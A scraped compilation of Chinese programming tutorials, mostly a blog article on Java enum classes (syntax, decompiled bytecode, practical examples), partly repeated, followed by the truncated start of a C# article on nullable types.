public final boolean equals(Object other) {
return this==other;
}
枚举类的实现原理
这部分参考https://blog.csdn.net/mhmyqn/article/details/48087247
Java从JDK1.5开始支持枚举,也就是说,Java一开始是不支持枚举的,就像泛型一样,都是JDK1.5才加入的新特性。通常一个特性如果在一开始没有提供,在语言发展后期才添加,会遇到一个问题,就是向后兼容性的问题。
像Java在1.5中引入的很多特性,为了向后兼容,编译器会帮我们写的源代码做很多事情,比如泛型为什么会擦除类型,为什么会生成桥接方法,foreach迭代,自动装箱/拆箱等,这有个术语叫“语法糖”,而编译器的特殊处理叫“解语法糖”。那么像枚举也是在JDK1.5中才引入的,又是怎么实现的呢?
Java在1.5中添加了java.lang.Enum抽象类,它是所有枚举类型基类。提供了一些基础属性和基础方法。同时,对把枚举用作Set和Map也提供了支持,即java.util.EnumSet和java.util.EnumMap。
接下来定义一个简单的枚举类
public enum Day {
MONDAY {
@Override
void say() {
System.out.println("MONDAY");
}
}
, TUESDAY {
@Override
void say() {
System.out.println("TUESDAY");
}
}, FRIDAY("work"){
@Override
void say() {
System.out.println("FRIDAY");
}
}, SUNDAY("free"){
@Override
void say() {
System.out.println("SUNDAY");
}
};
String work;
//没有构造参数时,每个实例可以看做常量。
//使用构造参数时,每个实例都会变得不一样,可以看做不同的类型,所以编译后会生成实例个数对应的class。
private Day(String work) {
this.work = work;
}
private Day() {
}
//枚举实例必须实现枚举类中的抽象方法
abstract void say ();
}
反编译结果
D:\MyTech\out\production\MyTech\com\javase\枚举类>javap Day.class
Compiled from "Day.java"
public abstract class com.javase.枚举类.Day extends java.lang.Enum<com.javase.枚举类.Day> {
public static final com.javase.枚举类.Day MONDAY;
public static final com.javase.枚举类.Day TUESDAY;
public static final com.javase.枚举类.Day FRIDAY;
public static final com.javase.枚举类.Day SUNDAY;
java.lang.String work;
public static com.javase.枚举类.Day[] values();
public static com.javase.枚举类.Day valueOf(java.lang.String);
abstract void say();
com.javase.枚举类.Day(java.lang.String, int, com.javase.枚举类.Day$1);
com.javase.枚举类.Day(java.lang.String, int, java.lang.String, com.javase.枚举类.Day$1);
static {};
}
可以看到,一个枚举在经过编译器编译过后,变成了一个抽象类,它继承了java.lang.Enum;而枚举中定义的枚举常量,变成了相应的public static final属性,而且其类型就抽象类的类型,名字就是枚举常量的名字.
同时我们可以在Operator.class的相同路径下看到四个内部类的.class文件com/mikan/Day$1.class、com/mikan/Day$2.class、com/mikan/Day$3.class、com/mikan/Day$4.class,也就是说这四个命名字段分别使用了内部类来实现的;同时添加了两个方法values()和valueOf(String);我们定义的构造方法本来只有一个参数,但却变成了三个参数;同时还生成了一个静态代码块。这些具体的内容接下来仔细看看。
下面分析一下字节码中的各部分,其中:
InnerClasses:
static #23; //class com/javase/枚举类/Day$4
static #18; //class com/javase/枚举类/Day$3
static #14; //class com/javase/枚举类/Day$2
static #10; //class com/javase/枚举类/Day$1
从中可以看到它有4个内部类,这四个内部类的详细信息后面会分析。
static {};
descriptor: ()V
flags: ACC_STATIC
Code:
stack=5, locals=0, args_size=0
0: new #10 // class com/javase/枚举类/Day$1
3: dup
4: ldc #11 // String MONDAY
6: iconst_0
7: invokespecial #12 // Method com/javase/枚举类/Day$1."<init>":(Ljava/lang/String;I)V
10: putstatic #13 // Field MONDAY:Lcom/javase/枚举类/Day;
13: new #14 // class com/javase/枚举类/Day$2
16: dup
17: ldc #15 // String TUESDAY
19: iconst_1
20: invokespecial #16 // Method com/javase/枚举类/Day$2."<init>":(Ljava/lang/String;I)V
//后面类似,这里省略
}
其实编译器生成的这个静态代码块做了如下工作:分别设置生成的四个公共静态常量字段的值,同时编译器还生成了一个静态字段$VALUES,保存的是枚举类型定义的所有枚举常量编译器添加的values方法:
public static com.javase.Day[] values();
flags: ACC_PUBLIC, ACC_STATIC
Code:
stack=1, locals=0, args_size=0
0: getstatic #2 // Field $VALUES:[Lcom/javase/Day;
3: invokevirtual #3 // Method "[Lcom/mikan/Day;".clone:()Ljava/lang/Object;
6: checkcast #4 // class "[Lcom/javase/Day;"
9: areturn
这个方法是一个公共的静态方法,所以我们可以直接调用该方法(Day.values()),返回这个枚举值的数组,另外,这个方法的实现是,克隆在静态代码块中初始化的$VALUES字段的值,并把类型强转成Day[]类型返回。
造方法为什么增加了两个参数?
有一个问题,构造方法我们明明只定义了一个参数,为什么生成的构造方法是三个参数呢?
从Enum类中我们可以看到,为每个枚举都定义了两个属性,name和ordinal,name表示我们定义的枚举常量的名称,如FRIDAY、TUESDAY,而ordinal是一个顺序号,根据定义的顺序分别赋予一个整形值,从0开始。在枚举常量初始化时,会自动为初始化这两个字段,设置相应的值,所以才在构造方法中添加了两个参数。即:
另外三个枚举常量生成的内部类基本上差不多,这里就不重复说明了。
我们可以从Enum类的代码中看到,定义的name和ordinal属性都是final的,而且大部分方法也都是final的,特别是clone、readObject、writeObject这三个方法,这三个方法和枚举通过静态代码块来进行初始化一起。
它保证了枚举类型的不可变性,不能通过克隆,不能通过序列化和反序列化来复制枚举,这能保证一个枚举常量只是一个实例,即是单例的,所以在effective java中推荐使用枚举来实现单例。
枚举类实战
实战一无参
(1)定义一个无参枚举类
enum SeasonType {
SPRING, SUMMER, AUTUMN, WINTER
}
(2)实战中的使用
// 根据实际情况选择下面的用法即可
SeasonType springType = SeasonType.SPRING; // 输出 SPRING
String springString = SeasonType.SPRING.toString(); // 输出 SPRING
实战二有一参
(1)定义只有一个参数的枚举类
enum SeasonType {
// 通过构造函数传递参数并创建实例
SPRING("spring"),
SUMMER("summer"),
AUTUMN("autumn"),
WINTER("winter");
// 定义实例对应的参数
private String msg;
// 必写:通过此构造器给枚举值创建实例
SeasonType(String msg) {
this.msg = msg;
}
// 通过此方法可以获取到对应实例的参数值
public String getMsg() {
return msg;
}
}
(2)实战中的使用
// 当我们为某个实例类赋值的时候可使用如下方式
String msg = SeasonType.SPRING.getMsg(); // 输出 spring
实战三有两参
(1)定义有两个参数的枚举类
public enum Season {
// 通过构造函数传递参数并创建实例
SPRING(1, "spring"),
SUMMER(2, "summer"),
AUTUMN(3, "autumn"),
WINTER(4, "winter");
// 定义实例对应的参数
private Integer key;
private String msg;
// 必写:通过此构造器给枚举值创建实例
Season(Integer key, String msg) {
this.key = key;
this.msg = msg;
}
// 很多情况,我们可能从前端拿到的值是枚举类的 key ,然后就可以通过以下静态方法获取到对应枚举值
public static Season valueofKey(Integer key) {
for (Season season : Season.values()) {
if (season.key.equals(key)) {
return season;
}
}
throw new IllegalArgumentException("No element matches " + key);
}
// 通过此方法可以获取到对应实例的 key 值
public Integer getKey() {
return key;
}
// 通过此方法可以获取到对应实例的 msg 值
public String getMsg() {
return msg;
}
}
(2)实战中的使用
// 输出 key 为 1 的枚举值实例
Season season = Season.valueofKey(1);
// 输出 SPRING 实例对应的 key
Integer key = Season.SPRING.getKey();
// 输出 SPRING 实例对应的 msg
String msg = Season.SPRING.getMsg();
枚举类总结
其实枚举类懂了其概念后,枚举就变得相当简单了,随手就可以写一个枚举类出来。所以如上几个实战小例子一定要先搞清楚概念,然后在练习几遍就 ok 了。
重要的概念,我在这里在赘述一遍,帮助老铁们快速掌握这块知识,首先记住,枚举类中的枚举值可以没有参数,也可以有多个参数,每一个枚举值都是一个实例;
并且还有一点很重要,就是如果枚举值有 n 个参数,那么构造函数中的参数值肯定有 n 个,因为声明的每一个枚举值都会调用构造函数去创建实例,所以参数一定是一一对应的;既然明白了这一点,那么我们只需要在枚举类中把这 n 个参数定义为 n 个成员变量,然后提供对应的 get() 方法,之后通过实例就可以随意的获取实例中的任意参数值了。
如果想让枚举类更加的好用,就可以模仿我在实战三中的写法那样,通过某一个参数值,比如 key 参数值,就能获取到其对应的枚举值,然后想要什么值,就 get 什么值就好了。
枚举 API
我们使用 enum 定义的枚举类都是继承 java.lang.Enum 类的,那么就会继承其 API ,常用的 API 如下:
String name()
获取枚举名称
int ordinal()
获取枚举的位置(下标,初始值为 0 )
valueof(String msg)
通过 msg 获取其对应的枚举类型。(比如实战二中的枚举类或其它枚举类都行,只要使用得当都可以使用此方法)
values()
获取枚举类中的所有枚举值(比如在实战三中就使用到了)
总结
枚举本质上是通过普通的类来实现的,只是编译器为我们进行了处理。每个枚举类型都继承自java.lang.Enum,并自动添加了values和valueOf方法。
而每个枚举常量是一个静态常量字段,使用内部类实现,该内部类继承了枚举类。所有枚举常量都通过静态代码块来进行初始化,即在类加载期间就初始化。
另外通过把clone、readObject、writeObject这三个方法定义为final的,同时实现是抛出相应的异常。这样保证了每个枚举类型及枚举常量都是不可变的。可以利用枚举的这两个特性来实现线程安全的单例。
参考文章
https://blog.csdn.net/qq_34988624/article/details/86592229https://www.meiwen.com.cn/subject/slhvhqtx.htmlhttps://blog.csdn.net/qq_34988624/article/details/86592229https://segmentfault.com/a/1190000012220863https://my.oschina.net/wuxinshui/blog/1511484https://blog.csdn.net/hukailee/article/details/81107412
微信公众号
Java技术江湖
如果大家想要实时关注我更新的文章以及分享的干货的话,可以关注我的公众号【Java技术江湖】一位阿里 Java 工程师的技术小站,作者黄小斜,专注 Java 相关技术:SSM、SpringBoot、MySQL、分布式、中间件、集群、Linux、网络、多线程,偶尔讲点Docker、ELK,同时也分享技术干货和学习经验,致力于Java全栈开发!
Java工程师必备学习资源: 一些Java工程师常用学习资源,关注公众号后,后台回复关键字 “Java” 即可免费无套路获取。
个人公众号:黄小斜
作者是 985 硕士,蚂蚁金服 JAVA 工程师,专注于 JAVA 后端技术栈:SpringBoot、MySQL、分布式、中间件、微服务,同时也懂点投资理财,偶尔讲点算法和计算机理论基础,坚持学习和写作,相信终身学习的力量!
程序员3T技术学习资源: 一些程序员学习技术的资源大礼包,关注公众号后,后台回复关键字 “资料” 即可免费无套路获取。
夯实Java基础系列14:深入理解Java枚举类
本系列文章将整理到我在GitHub上的《Java面试指南》仓库,更多精彩内容请到我的仓库里查看
https://github.com/h2pl/Java-Tutorial
喜欢的话麻烦点下Star、Fork、Watch三连哈,感谢你的支持。
文章首发于我的个人博客:
www.how2playlife.com
本文是微信公众号【Java技术江湖】的《夯实Java基础系列博文》其中一篇,本文部分内容来源于网络,为了把本文主题讲得清晰透彻,也整合了很多我认为不错的技术博客内容,引用其中了一些比较好的博客文章,如有侵权,请联系作者。
该系列博文会告诉你如何从入门到进阶,一步步地学习Java基础知识,并上手进行实战,接着了解每个Java知识点背后的实现原理,更完整地了解整个Java技术体系,形成自己的知识框架。为了更好地总结和检验你的学习成果,本系列文章也会提供每个知识点对应的面试题以及参考答案。
@[toc]如果对本系列文章有什么建议,或者是有什么疑问的话,也可以关注公众号【Java技术江湖】联系作者,欢迎你参与本系列博文的创作和修订。
枚举(enum)类型是Java 5新增的特性,它是一种新的类型,允许用常量来表示特定的数据片断,而且全部都以类型安全的形式来表示。
初探枚举类
在程序设计中,有时会用到由若干个有限数据元素组成的集合,如一周内的星期一到星期日七个数据元素组成的集合,由三种颜色红、黄、绿组成的集合,一个工作班组内十个职工组成的集合等等,程序中某个变量取值仅限于集合中的元素。此时,可将这些数据集合定义为枚举类型。
因此,枚举类型是某类数据可能取值的集合,如一周内星期可能取值的集合为: { Sun,Mon,Tue,Wed,Thu,Fri,Sat} 该集合可定义为描述星期的枚举类型,该枚举类型共有七个元素,因而用枚举类型定义的枚举变量只能取集合中的某一元素值。由于枚举类型是导出数据类型,因此,必须先定义枚举类型,然后再用枚举类型定义枚举型变量。
enum <枚举类型名>
{ <枚举元素表> };
其中:关键词enum表示定义的是枚举类型,枚举类型名由标识符组成,而枚举元素表由枚举元素或枚举常量组成。例如:
enum weekdays
{ Sun,Mon,Tue,Wed,Thu,Fri,Sat };
定义了一个名为 weekdays的枚举类型,它包含七个元素:Sun、Mon、Tue、Wed、Thu、Fri、Sat。
在编译器编译程序时,给枚举类型中的每一个元素指定一个整型常量值(也称为序号值)。若枚举类型定义中没有指定元素的整型常量值,则整型常量值从0开始依次递增,因此,weekdays枚举类型的七个元素Sun、Mon、Tue、Wed、Thu、Fri、Sat对应的整型常量值分别为0、1、2、3、4、5、6。 注意:在定义枚举类型时,也可指定元素对应的整型常量值。
例如,描述逻辑值集合{TRUE、FALSE}的枚举类型boolean可定义如下:
enum boolean
{ TRUE=1 ,FALSE=0 };
该定义规定:TRUE的值为1,而FALSE的值为0。
而描述颜色集合{red,blue,green,black,white,yellow}的枚举类型colors可定义如下:
enum colors
{red=5,blue=1,green,black,white,yellow};
该定义规定red为5 ,blue为1,其后元素值从2 开始递增加1。green、black、white、yellow的值依次为2、3、4、5。
此时,整数5将用于表示二种颜色red与yellow。通常两个不同元素取相同的整数值是没有意义的。枚举类型的定义只是定义了一个新的数据类型,只有用枚举类型定义枚举变量才能使用这种数据类型。
枚举类-语法
enum 与 class、interface 具有相同地位;可以继承多个接口;可以拥有构造器、成员方法、成员变量;1.2 枚举类与普通类不同之处
默认继承 java.lang.Enum 类,所以不能继承其他父类;其中 java.lang.Enum 类实现了 java.lang.Serializable 和 java.lang.Comparable 接口;
使用 enum 定义,默认使用 final 修饰,因此不能派生子类;
构造器默认使用 private 修饰,且只能使用 private 修饰;
枚举类所有实例必须在第一行给出,默认添加 public static final 修饰,否则无法产生实例;
枚举类的具体使用
这部分内容参考https://blog.csdn.net/qq_27093465/article/details/52180865
常量
public class 常量 {
}
enum Color {
Red, Green, Blue, Yellow
}
switch
JDK1.6之前的switch语句只支持int,char,enum类型,使用枚举,能让我们的代码可读性更强。
public static void showColor(Color color) {
switch (color) {
case Red:
System.out.println(color);
break;
case Blue:
System.out.println(color);
break;
case Yellow:
System.out.println(color);
break;
case Green:
System.out.println(color);
break;
}
}
向枚举中添加新方法
如果打算自定义自己的方法,那么必须在enum实例序列的最后添加一个分号。而且 Java 要求必须先定义 enum 实例。
enum Color {
//每个颜色都是枚举类的一个实例,并且构造方法要和枚举类的格式相符合。
//如果实例后面有其他内容,实例序列结束时要加分号。
Red("红色", 1), Green("绿色", 2), Blue("蓝色", 3), Yellow("黄色", 4);
String name;
int index;
Color(String name, int index) {
this.name = name;
this.index = index;
}
public void showAllColors() {
//values是Color实例的数组,在通过index和name可以获取对应的值。
for (Color color : Color.values()) {
System.out.println(color.index + ":" + color.name);
}
}
}
覆盖枚举的方法
所有枚举类都继承自Enum类,所以可以重写该类的方法下面给出一个toString()方法覆盖的例子。
@Override
public String toString() {
return this.index + ":" + this.name;
}
实现接口
所有的枚举都继承自java.lang.Enum类。由于Java 不支持多继承,所以枚举对象不能再继承其他类。
enum Color implements Print{
@Override
public void print() {
System.out.println(this.name);
}
}
使用接口组织枚举
搞个实现接口,来组织枚举,简单讲,就是分类吧。如果大量使用枚举的话,这么干,在写代码的时候,就很方便调用啦。
public class 用接口组织枚举 {
public static void main(String[] args) {
Food cf = chineseFood.dumpling;
Food jf = Food.JapaneseFood.fishpiece;
for (Food food : chineseFood.values()) {
System.out.println(food);
}
for (Food food : Food.JapaneseFood.values()) {
System.out.println(food);
}
}
}
interface Food {
enum JapaneseFood implements Food {
suse, fishpiece
}
}
enum chineseFood implements Food {
dumpling, tofu
}
枚举类集合
java.util.EnumSet和java.util.EnumMap是两个枚举集合。EnumSet保证集合中的元素不重复;EnumMap中的 key是enum类型,而value则可以是任意类型。
EnumSet在JDK中没有找到实现类,这里写一个EnumMap的例子
public class 枚举类集合 {
public static void main(String[] args) {
EnumMap<Color, String> map = new EnumMap<Color, String>(Color.class);
map.put(Color.Blue, "Blue");
map.put(Color.Yellow, "Yellow");
map.put(Color.Red, "Red");
System.out.println(map.get(Color.Red));
}
}
使用枚举类的注意事项
枚举类型对象之间的值比较,是可以使用==,直接来比较值,是否相等的,不是必须使用equals方法的哟。
因为枚举类Enum已经重写了equals方法
/**
* Returns true if the specified object is equal to this
* enum constant.
*
* @param other the object to be compared for equality with this object.
* @return true if the specified object is equal to this
* enum constant.
*/
public final boolean equals(Object other) {
return this==other;
}
枚举类的实现原理
这部分参考https://blog.csdn.net/mhmyqn/article/details/48087247
Java从JDK1.5开始支持枚举,也就是说,Java一开始是不支持枚举的,就像泛型一样,都是JDK1.5才加入的新特性。通常一个特性如果在一开始没有提供,在语言发展后期才添加,会遇到一个问题,就是向后兼容性的问题。
像Java在1.5中引入的很多特性,为了向后兼容,编译器会帮我们写的源代码做很多事情,比如泛型为什么会擦除类型,为什么会生成桥接方法,foreach迭代,自动装箱/拆箱等,这有个术语叫“语法糖”,而编译器的特殊处理叫“解语法糖”。那么像枚举也是在JDK1.5中才引入的,又是怎么实现的呢?
Java在1.5中添加了java.lang.Enum抽象类,它是所有枚举类型基类。提供了一些基础属性和基础方法。同时,对把枚举用作Set和Map也提供了支持,即java.util.EnumSet和java.util.EnumMap。
接下来定义一个简单的枚举类
public enum Day {
MONDAY {
@Override
void say() {
System.out.println("MONDAY");
}
}
, TUESDAY {
@Override
void say() {
System.out.println("TUESDAY");
}
}, FRIDAY("work"){
@Override
void say() {
System.out.println("FRIDAY");
}
}, SUNDAY("free"){
@Override
void say() {
System.out.println("SUNDAY");
}
};
String work;
//没有构造参数时,每个实例可以看做常量。
//使用构造参数时,每个实例都会变得不一样,可以看做不同的类型,所以编译后会生成实例个数对应的class。
private Day(String work) {
this.work = work;
}
private Day() {
}
//枚举实例必须实现枚举类中的抽象方法
abstract void say ();
}
反编译结果
D:\MyTech\out\production\MyTech\com\javase\枚举类>javap Day.class
Compiled from "Day.java"
public abstract class com.javase.枚举类.Day extends java.lang.Enum<com.javase.枚举类.Day> {
public static final com.javase.枚举类.Day MONDAY;
public static final com.javase.枚举类.Day TUESDAY;
public static final com.javase.枚举类.Day FRIDAY;
public static final com.javase.枚举类.Day SUNDAY;
java.lang.String work;
public static com.javase.枚举类.Day[] values();
public static com.javase.枚举类.Day valueOf(java.lang.String);
abstract void say();
com.javase.枚举类.Day(java.lang.String, int, com.javase.枚举类.Day$1);
com.javase.枚举类.Day(java.lang.String, int, java.lang.String, com.javase.枚举类.Day$1);
static {};
}
可以看到,一个枚举在经过编译器编译过后,变成了一个抽象类,它继承了java.lang.Enum;而枚举中定义的枚举常量,变成了相应的public static final属性,而且其类型就抽象类的类型,名字就是枚举常量的名字.
同时我们可以在Operator.class的相同路径下看到四个内部类的.class文件com/mikan/Day$1.class、com/mikan/Day$2.class、com/mikan/Day$3.class、com/mikan/Day$4.class,也就是说这四个命名字段分别使用了内部类来实现的;同时添加了两个方法values()和valueOf(String);我们定义的构造方法本来只有一个参数,但却变成了三个参数;同时还生成了一个静态代码块。这些具体的内容接下来仔细看看。
下面分析一下字节码中的各部分,其中:
InnerClasses:
static #23; //class com/javase/枚举类/Day$4
static #18; //class com/javase/枚举类/Day$3
static #14; //class com/javase/枚举类/Day$2
static #10; //class com/javase/枚举类/Day$1
从中可以看到它有4个内部类,这四个内部类的详细信息后面会分析。
static {};
descriptor: ()V
flags: ACC_STATIC
Code:
stack=5, locals=0, args_size=0
0: new #10 // class com/javase/枚举类/Day$1
3: dup
4: ldc #11 // String MONDAY
6: iconst_0
7: invokespecial #12 // Method com/javase/枚举类/Day$1."<init>":(Ljava/lang/String;I)V
10: putstatic #13 // Field MONDAY:Lcom/javase/枚举类/Day;
13: new #14 // class com/javase/枚举类/Day$2
16: dup
17: ldc #15 // String TUESDAY
19: iconst_1
20: invokespecial #16 // Method com/javase/枚举类/Day$2."<init>":(Ljava/lang/String;I)V
//后面类似,这里省略
}
其实编译器生成的这个静态代码块做了如下工作:分别设置生成的四个公共静态常量字段的值,同时编译器还生成了一个静态字段$VALUES,保存的是枚举类型定义的所有枚举常量编译器添加的values方法:
public static com.javase.Day[] values();
flags: ACC_PUBLIC, ACC_STATIC
Code:
stack=1, locals=0, args_size=0
0: getstatic #2 // Field $VALUES:[Lcom/javase/Day;
3: invokevirtual #3 // Method "[Lcom/mikan/Day;".clone:()Ljava/lang/Object;
6: checkcast #4 // class "[Lcom/javase/Day;"
9: areturn
这个方法是一个公共的静态方法,所以我们可以直接调用该方法(Day.values()),返回这个枚举值的数组,另外,这个方法的实现是,克隆在静态代码块中初始化的$VALUES字段的值,并把类型强转成Day[]类型返回。
造方法为什么增加了两个参数?
有一个问题,构造方法我们明明只定义了一个参数,为什么生成的构造方法是三个参数呢?
从Enum类中我们可以看到,为每个枚举都定义了两个属性,name和ordinal,name表示我们定义的枚举常量的名称,如FRIDAY、TUESDAY,而ordinal是一个顺序号,根据定义的顺序分别赋予一个整形值,从0开始。在枚举常量初始化时,会自动为初始化这两个字段,设置相应的值,所以才在构造方法中添加了两个参数。即:
另外三个枚举常量生成的内部类基本上差不多,这里就不重复说明了。
我们可以从Enum类的代码中看到,定义的name和ordinal属性都是final的,而且大部分方法也都是final的,特别是clone、readObject、writeObject这三个方法,这三个方法和枚举通过静态代码块来进行初始化一起。
它保证了枚举类型的不可变性,不能通过克隆,不能通过序列化和反序列化来复制枚举,这能保证一个枚举常量只是一个实例,即是单例的,所以在effective java中推荐使用枚举来实现单例。
枚举类实战
实战一无参
(1)定义一个无参枚举类
enum SeasonType {
SPRING, SUMMER, AUTUMN, WINTER
}
(2)实战中的使用
// 根据实际情况选择下面的用法即可
SeasonType springType = SeasonType.SPRING; // 输出 SPRING
String springString = SeasonType.SPRING.toString(); // 输出 SPRING
实战二有一参
(1)定义只有一个参数的枚举类
enum SeasonType {
// 通过构造函数传递参数并创建实例
SPRING("spring"),
SUMMER("summer"),
AUTUMN("autumn"),
WINTER("winter");
// 定义实例对应的参数
private String msg;
// 必写:通过此构造器给枚举值创建实例
SeasonType(String msg) {
this.msg = msg;
}
// 通过此方法可以获取到对应实例的参数值
public String getMsg() {
return msg;
}
}
(2)实战中的使用
// 当我们为某个实例类赋值的时候可使用如下方式
String msg = SeasonType.SPRING.getMsg(); // 输出 spring
实战三有两参
(1)定义有两个参数的枚举类
public enum Season {
// 通过构造函数传递参数并创建实例
SPRING(1, "spring"),
SUMMER(2, "summer"),
AUTUMN(3, "autumn"),
WINTER(4, "winter");
// 定义实例对应的参数
private Integer key;
private String msg;
// 必写:通过此构造器给枚举值创建实例
Season(Integer key, String msg) {
this.key = key;
this.msg = msg;
}
// 很多情况,我们可能从前端拿到的值是枚举类的 key ,然后就可以通过以下静态方法获取到对应枚举值
public static Season valueofKey(Integer key) {
for (Season season : Season.values()) {
if (season.key.equals(key)) {
return season;
}
}
throw new IllegalArgumentException("No element matches " + key);
}
// 通过此方法可以获取到对应实例的 key 值
public Integer getKey() {
return key;
}
// 通过此方法可以获取到对应实例的 msg 值
public String getMsg() {
return msg;
}
}
(2)实战中的使用
// 输出 key 为 1 的枚举值实例
Season season = Season.valueofKey(1);
// 输出 SPRING 实例对应的 key
Integer key = Season.SPRING.getKey();
// 输出 SPRING 实例对应的 msg
String msg = Season.SPRING.getMsg();
枚举类总结
其实枚举类懂了其概念后,枚举就变得相当简单了,随手就可以写一个枚举类出来。所以如上几个实战小例子一定要先搞清楚概念,然后在练习几遍就 ok 了。
重要的概念,我在这里在赘述一遍,帮助老铁们快速掌握这块知识,首先记住,枚举类中的枚举值可以没有参数,也可以有多个参数,每一个枚举值都是一个实例;
并且还有一点很重要,就是如果枚举值有 n 个参数,那么构造函数中的参数值肯定有 n 个,因为声明的每一个枚举值都会调用构造函数去创建实例,所以参数一定是一一对应的;既然明白了这一点,那么我们只需要在枚举类中把这 n 个参数定义为 n 个成员变量,然后提供对应的 get() 方法,之后通过实例就可以随意的获取实例中的任意参数值了。
如果想让枚举类更加的好用,就可以模仿我在实战三中的写法那样,通过某一个参数值,比如 key 参数值,就能获取到其对应的枚举值,然后想要什么值,就 get 什么值就好了。
枚举 API
我们使用 enum 定义的枚举类都是继承 java.lang.Enum 类的,那么就会继承其 API ,常用的 API 如下:
String name()
获取枚举名称
int ordinal()
获取枚举的位置(下标,初始值为 0 )
valueof(String msg)
通过 msg 获取其对应的枚举类型。(比如实战二中的枚举类或其它枚举类都行,只要使用得当都可以使用此方法)
values()
获取枚举类中的所有枚举值(比如在实战三中就使用到了)
总结
枚举本质上是通过普通的类来实现的,只是编译器为我们进行了处理。每个枚举类型都继承自java.lang.Enum,并自动添加了values和valueOf方法。
而每个枚举常量是一个静态常量字段,使用内部类实现,该内部类继承了枚举类。所有枚举常量都通过静态代码块来进行初始化,即在类加载期间就初始化。
另外通过把clone、readObject、writeObject这三个方法定义为final的,同时实现是抛出相应的异常。这样保证了每个枚举类型及枚举常量都是不可变的。可以利用枚举的这两个特性来实现线程安全的单例。
参考文章
https://blog.csdn.net/qq_34988624/article/details/86592229https://www.meiwen.com.cn/subject/slhvhqtx.htmlhttps://blog.csdn.net/qq_34988624/article/details/86592229https://segmentfault.com/a/1190000012220863https://my.oschina.net/wuxinshui/blog/1511484https://blog.csdn.net/hukailee/article/details/81107412
微信公众号
Java技术江湖
如果大家想要实时关注我更新的文章以及分享的干货的话,可以关注我的公众号【Java技术江湖】一位阿里 Java 工程师的技术小站,作者黄小斜,专注 Java 相关技术:SSM、SpringBoot、MySQL、分布式、中间件、集群、Linux、网络、多线程,偶尔讲点Docker、ELK,同时也分享技术干货和学习经验,致力于Java全栈开发!
Java工程师必备学习资源: 一些Java工程师常用学习资源,关注公众号后,后台回复关键字 “Java” 即可免费无套路获取。
个人公众号:黄小斜
作者是 985 硕士,蚂蚁金服 JAVA 工程师,专注于 JAVA 后端技术栈:SpringBoot、MySQL、分布式、中间件、微服务,同时也懂点投资理财,偶尔讲点算法和计算机理论基础,坚持学习和写作,相信终身学习的力量!
程序员3T技术学习资源: 一些程序员学习技术的资源大礼包,关注公众号后,后台回复关键字 “资料” 即可免费无套路获取。
[C#基础知识系列]专题十:全面解析可空类型
引言:
C# 2.0 中还引入了可空类型,可空类型也是值类型,只是可空类型是包括null的值类型的,下面就介绍下C#2.0中对可空类型的支持具体有哪些内容(最近一直都在思考如何来分享这篇文章的,因为刚开始觉得可空类型使用过程中比较简单,觉得没有讲的必要,但是考虑到这个系列的完整性,决定还是唠叨下吧,希望对一些不熟悉的人有帮助)。
一、为什么会有可空类型
如果朋友们看了我之前的分享,对于这一部分都不会陌生,因为我一般介绍C#特性经常会以这样的方式开头的, 因为每个特性都是有它出现的原因的(有一句佛语这是这么讲的:万事皆有因,有因必有果),首先来说说这个因的(果当然是新增加了可空类型这个新特性了。),当我们在设计数据库的时候,我们可以设置数据库字段允许为null值,如果数据库字段是日期等这样在C#语言是值类型时,当我们把数据库表映射一个对象时,此时Datetime类型在C# 语言中是不能为null的,如果这样就会与数据库的设计有所冲突,这样开发人员就会有这样的需求了——值类型能不能也为可空类型的?同时微软也看出了用户有这样的需求,所以微软在C# 2.0中就新增加了一种类型——可空类型,即包含null值的值类型,这个也就是我理解的因了,介绍完因之后,当然就是好好唠叨下可空类型是个什么东西的了?
二、可空类型的介绍
可空类型也是值类型,只是它是包含null的一个值类型。我们可以像下面这样表示可空类型(相信大家都不陌生):
int? nullable = null;
上面代码 int? 就是可空的int类型(有人可能会这样的疑问的, 如果在C#1中我硬要让一个值类型为一个可空类型怎么办到呢?当然这个在C#1之前也是有可以办到的,只是会相当麻烦,对于这个如果有兴趣的朋友可以去刨下根),然而其实 "?"这个修饰符只是C#提供的一个语法糖(所谓语法糖,就是C#提供的一种方便的形式,其实肯定没有int? 这个类型,这个int?编译器认为的就是Nullable<int>类型,即可空类型),其实真真C# 2.0提供的可空类型是——Nullable<T>(这个T就是上专题介绍的泛型参数,其中T只能为值类型,因为从可空类型的定义为:public struct Nullable<T> where T : struct)和Nullable。下面给出一段代码来介绍可空类型的使用:
namespace 可空类型Demo { class Program { static void Main(string[] args) { // 下面代码也可以这样子定义int? value=1;
Nullable<int> value = 1; Console.WriteLine("可空类型有值的输出情况:"); Display(value); Console.WriteLine(); Console.WriteLine(); value = new Nullable<int>(); Console.WriteLine("可空类型没有值的输出情况:"); Display(value); Console.Read(); } // 输出方法,演示可空类型中的方法和属性的使用
private static void Display(int? nullable) { // HasValue 属性代表指示可空对象是否有值 // 在使用Value属性时必须先判断可空类型是否有值, // 如果可空类型对象的HasValue返回false时,将会引发InvalidOperationException异常
Console.WriteLine("可空类型是否有值:{0}", nullable.HasValue); if (nullable.HasValue) { Console.WriteLine("值为: {0}", nullable.Value); } // GetValueOrDefault(代表如果可空对象有值,就用它的值返回,如果可空对象不包含值时,使用默认值0返回)相当与下面的语句 // if (!nullable.HasValue) // { // result = d.Value; // }
Console.WriteLine("GetValueorDefault():{0}", nullable.GetValueOrDefault()); // GetValueOrDefault(T)方法代表如果 HasValue 属性为 true,则为 Value 属性的值;否则为 defaultValue 参数值,即2。
Console.WriteLine("GetValueorDefalut重载方法使用:{0}", nullable.GetValueOrDefault(2)); // GetHashCode()代表如果 HasValue 属性为 true,则为 Value 属性返回的对象的哈希代码;如果 HasValue 属性为 false,则为零
Console.WriteLine("GetHashCode()方法的使用:{0}", nullable.GetHashCode()); } } }
输出结果:
上面的演示代码中都注释,这里就不再解释了,为了让大家明白进一步理解可空类型是值类型,下面贴出中间语言代码截图:
三、空合并操作符(?? 操作符)
??操作符也就是"空合并操作符",它代表的意思是两个操作数,如果左边的数不为null时,就返回左边的数,如果左边的数为null,就返回右边的数,这个操作符可以用于可空类型,也可以用于引用类型,但是不能用于值类型(之所以不能应用值类型(这里除了可空类型),因为??运算符要对左边的数与null进行比较,然而值类型,不能与null类型比较,所以就不支持??运算符),下面用一个例子来掩饰下??运算符的使用(??这个运算符可以方便我们设置默认值,可以避免在代码中写if, else语句,简单代码数量,从而有利于阅读。)
static void Main(string[] args) { Console.WriteLine("??运算符的使用如下:"); NullcoalescingOperator(); Console.Read(); } private static void NullcoalescingOperator() { int? nullable = null; int? nullhasvalue = 1; // ??和三目运算符的功能差不多的 // 所以下面代码等价于: // x=nullable.HasValue?b.Value:12;
